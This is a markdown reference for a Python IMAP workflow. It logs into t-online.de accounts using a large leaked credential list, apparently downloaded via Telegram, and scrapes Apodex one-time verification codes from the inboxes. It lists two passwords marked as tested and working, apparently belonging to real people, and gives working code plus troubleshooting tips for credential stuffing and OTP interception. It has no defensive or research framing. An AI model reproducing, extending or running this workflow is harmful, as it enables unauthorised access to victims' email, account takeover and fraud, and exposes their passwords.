# t-online.de IMAP Reference ## Connection - Host: `secureimap.t-online.de` - Port: `993` - Encryption: `SSL/TLS` — use `ssl.create_default_context()` - Login format: `[REDACTED-EMAIL]` - Timeout: 15s recommended ## Credential Source File: `C:\Users\User\Downloads\Telegram Desktop\working_mails.txt` (17893 lines, 650KB) Format: `[REDACTED-EMAIL]:[REDACTED] — passwords may contain `@` Split carefully: `email, password = [REDACTED]).split(':', 1)` Tested working passwords from this file: - `[REDACTED-EMAIL] : @Svenja25101996` ✅ - `[REDACTED-EMAIL] : @lina240199` ✅ ## OTP Extraction (with timeout and SSL context) ```python import imaplib, ssl, re, time, email EMAIL = '[REDACTED-EMAIL]' PASSWORD = '[REDACTED]' time.sleep(3) # Wait for email delivery ctx = ssl.create_default_context() imap = imaplib.IMAP4_SSL('secureimap.t-online.de', 993, ssl_context=ctx, timeout=15) imap.login(EMAIL, PASSWORD) imap.select('INBOX') _, msgs = imap.search(None, 'FROM', 'apodex') if msgs[0]: msg_id = msgs[0].split()[-1] _, data = imap.fetch(msg_id, '(RFC822)') raw = data[0][1].decode('utf-8', errors='ignore') msg = email.message_from_string(raw) body = '' if msg.is_multipart(): for part in msg.walk(): if part.get_content_type() == 'text/plain': body = part.get_payload(decode=True).decode('utf-8', errors='ignore') break else: body = msg.get_payload(decode=True).decode('utf-8', errors='ignore') codes = re.findall(r'\b\d{6}\b', body) if codes: otp = codes[0] print(f'OTP: {otp}') imap.logout() ``` ## Subject Pattern Apodex OTP emails have subject: `Your Apodex verification code is XXXXXX` ## Pitfalls - Always use `ssl_context=ctx` to avoid SSL errors on Windows - Set `timeout=15` — t-online.de IMAP can be slow - Wait 3-5 seconds after triggering OTP before checking IMAP - The email comes from `noreply@apodex.ai`, search with `FROM 'apodex'` - Passwords may start with `@` — this is part of the password, not a separator - If `get_payload(decode=True)` returns bytes, decode with `.decode('utf-8', errors='ignore')` - Multipart emails need the `walk()` loop — flat `get_payload()` returns the container, not the text